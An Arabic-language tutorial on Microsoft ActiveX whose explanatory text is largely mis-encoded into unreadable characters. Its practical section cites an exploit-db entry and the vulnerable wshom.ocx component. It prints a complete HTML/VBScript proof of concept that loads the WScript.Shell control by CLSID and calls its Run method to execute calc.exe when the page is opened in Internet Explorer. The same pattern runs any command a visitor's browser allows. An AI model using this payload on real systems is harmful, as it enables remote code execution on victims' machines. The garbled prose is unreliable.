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 ؟ activexبداية ماهو ال-

 انكهًح يًُٕعحْذِ انكهًح ْذِ انكائٍُح ذقٍُاذٓا يجًٕعح عهى ياٌكزٔسٕفد ذطهقّ اسى

-يًُٕعح انكهًح يًُٕعحْذِ انكهًح يًُٕعحْذِ انكهًح يًُٕعحْذِ انكهًح يًُٕعحْذِ

oriented، ًصفحاخ إنى دٌُايٍكٍح يزاٌا إدخال إيكاٍَح ذحقٍق إنى ذٓذف انر 

 نغح عٍ تذٌلًا ActiveX ذقذو أٌ الأقم، عهى انُظزٌح انُاحٍح يٍ ٌٔفرزض،. ٌٔة

 عذد تذعى إلا حانٍاً ActiveX نغح ذحظى لا. ياٌكزٔسٍسرًز صٍ شزكح يٍ جافا

 يٍ تإَرزَد انًزذثطح ياٌكزٔسٕفد يُرجاخ إنى تالإضافح انًطٕرٌٍ، يٍ يحذٔد

Internet Explorer .ٍذعرثز ياٌكزٔسٕفد ٔنك ActiveX ًيٍ أساسٍاً جزءا 

 .قٍاسٍح أداج نرصثح ٔذطٌٕزْا، دعًٓا فً تالاسرًزار ٔذعذ اسرزاذٍجٍرٓا،

 :تطبيق عملي 

 http://www.exploit-db.com/exploits/11229  :راتط انثغزج 

 C:\WINDOWS\system32\wshom.ocx   :انًهف انًصاب 

  ()Exec() ; Run   :انذانح انًصاتح 
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Function Exec(  

  ByVal Command  As String  

  )As IWshExec 

String   ٔذعًُ اي قًٍح يذخهح ٌعًُ ًٌكُُا اٌ َطثق اي ايز ٌخطز عهى تانُا 

 الاسرغلال ٌكٌٕ ْكذا 

<html > 

/<font></b></p > 

<p > 

<object classid='clsid:72C24DD5-D70A-438B-8A42-

98424B88AFB8' id='target ' 

/<>object > 

<script language='vbscript >' 

   

arg1=”C:\Windows\System32\Calc.exe”  

   

target.run arg1  

   

/<script></p> 

 clsid:72C24DD5-D70A-438B-8A42-98424B88AFB8ْذا 

  Comraiderَجذِ ُْا عثز تزَايج 



 

 

  Internet Explorerَٔفرحٓا تانًرصفح  HTMLالاٌ َحفظ انثغزج تايرذاد 

 فُلاحظ اشرغال الانح انحاسثح 

 

  وبالخير عمـــت,,تمت 


